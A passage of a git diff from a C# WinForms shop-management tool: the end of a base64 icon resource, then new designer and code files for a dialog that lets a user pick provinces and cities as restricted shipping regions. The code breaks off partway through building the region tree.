//+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateNotSendAreaForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNotSendAreaForm.Designer.cs new file mode 100644 index 0000000..b9551df --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNotSendAreaForm.Designer.cs @@ -0,0 +1,232 @@ + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class FreightTemplateNotSendAreaForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FreightTemplateNotSendAreaForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.advTree1 = new DevComponents.AdvTree.AdvTree(); + this.nodeConnector1 = new DevComponents.AdvTree.NodeConnector(); + this.elementStyle1 = new DevComponents.DotNetBar.ElementStyle(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.btnSave = new DevComponents.DotNetBar.PanelEx(); + this.btnCancel = new DevComponents.DotNetBar.PanelEx(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.advTree1)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.splitContainer1); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(418, 666); + this.panel2.TabIndex = 1; + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.advTree1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(418, 666); + this.splitContainer1.SplitterDistance = 513; + this.splitContainer1.TabIndex = 1; + // + // advTree1 + // + this.advTree1.AccessibleRole = System.Windows.Forms.AccessibleRole.Outline; + this.advTree1.BackColor = System.Drawing.SystemColors.Window; + // + // + // + this.advTree1.BackgroundStyle.Class = "TreeBorderKey"; + this.advTree1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.advTree1.Dock = System.Windows.Forms.DockStyle.Fill; + this.advTree1.Location = new System.Drawing.Point(0, 0); + this.advTree1.Name = "advTree1"; + this.advTree1.NodesConnector = this.nodeConnector1; + this.advTree1.NodeStyle = this.elementStyle1; + this.advTree1.PathSeparator = ";"; + this.advTree1.Size = new System.Drawing.Size(418, 513); + this.advTree1.Styles.Add(this.elementStyle1); + this.advTree1.TabIndex = 0; + this.advTree1.Text = "advTree1"; + // + // nodeConnector1 + // + this.nodeConnector1.LineColor = System.Drawing.SystemColors.ControlText; + // + // elementStyle1 + // + this.elementStyle1.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.elementStyle1.Name = "elementStyle1"; + this.elementStyle1.TextColor = System.Drawing.SystemColors.ControlText; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.textBox1); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.btnSave); + this.splitContainer2.Panel2.Controls.Add(this.btnCancel); + this.splitContainer2.Size = new System.Drawing.Size(418, 149); + this.splitContainer2.SplitterDistance = 99; + this.splitContainer2.TabIndex = 694; + // + // textBox1 + // + this.textBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.textBox1.Location = new System.Drawing.Point(4, 0); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.textBox1.Size = new System.Drawing.Size(410, 99); + this.textBox1.TabIndex = 0; + // + // btnSave + // + this.btnSave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnSave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSave.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSave.Location = new System.Drawing.Point(266, 10); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(60, 23); + this.btnSave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSave.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSave.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSave.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSave.Style.GradientAngle = 90; + this.btnSave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.TabIndex = 693; + this.btnSave.Text = "确定"; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // btnCancel + // + this.btnCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnCancel.CanvasColor = System.Drawing.SystemColors.Control; + this.btnCancel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnCancel.DisabledBackColor = System.Drawing.Color.Empty; + this.btnCancel.Location = new System.Drawing.Point(332, 10); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(60, 23); + this.btnCancel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnCancel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnCancel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnCancel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnCancel.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCancel.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnCancel.Style.GradientAngle = 90; + this.btnCancel.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnCancel.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnCancel.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCancel.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCancel.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnCancel.TabIndex = 692; + this.btnCancel.Text = "取消"; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // FreightTemplateNotSendAreaForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(420, 700); + this.Controls.Add(this.panel2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FreightTemplateNotSendAreaForm"; + this.Text = "选择限制下单区域"; + this.TitleText = "选择限制下单区域"; + this.Load += new System.EventHandler(this.FreightTemplateNotSendAreaForm_Load); + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.advTree1)).EndInit(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel1.PerformLayout(); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private DevComponents.AdvTree.AdvTree advTree1; + private DevComponents.AdvTree.NodeConnector nodeConnector1; + private DevComponents.DotNetBar.ElementStyle elementStyle1; + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.PanelEx btnSave; + private DevComponents.DotNetBar.PanelEx btnCancel; + private System.Windows.Forms.SplitContainer splitContainer2; + private System.Windows.Forms.TextBox textBox1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateNotSendAreaForm.cs b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNotSendAreaForm.cs new file mode 100644 index 0000000..f638dc9 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNotSendAreaForm.cs @@ -0,0 +1,255 @@ +using DevComponents.AdvTree; +using NaiBa.Util.Helper; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class FreightTemplateNotSendAreaForm : BaseForms.LRBaseForm + { + + public FreightTemplateNotSendAreaForm() + { + InitializeComponent(); + } + + private void FreightTemplateNotSendAreaForm_Load(object sender, EventArgs e) + { + textBox1.Text = string.Join("、", FreightTemplateForm.AreaNotSendDict.Values); + + Task.Run(() => + { + for (int i = 0; i < FreightTemplateForm.LstAddress.Count; i++) + { + var province = FreightTemplateForm.LstAddress[i]; + if (province.sub_districts == null || province.sub_districts.Count == 0) + { + var provinceTemp = FreightTemplateForm.GetAddress(province.code.ToString()); + if (provinceTemp == null) + return; + else + province = provinceTemp; + } + + var nodeProvince = new Node() { Text = province.name, Name = "p" + province.code, CheckBoxThreeState = true, CheckBoxVisible = true }; + if (FreightTemplateForm.AreaNotSendDict.Keys.Any(k => k.EndsWith(nodeProvince.Name))) + nodeProvince.CheckState = CheckState.Checked; + else if (FreightTemplateForm.AreaNotSendDict.Keys.Any(k => k.Contains(nodeProvince.Name))) + nodeProvince.CheckState = CheckState.Indeterminate; + this.advTree1.Nodes.Add(nodeProvince); + if (province.sub_districts != null && province.sub_districts.Count > 0) + { + foreach (var city in province.sub_districts) + { + var nodeCity = new Node() { 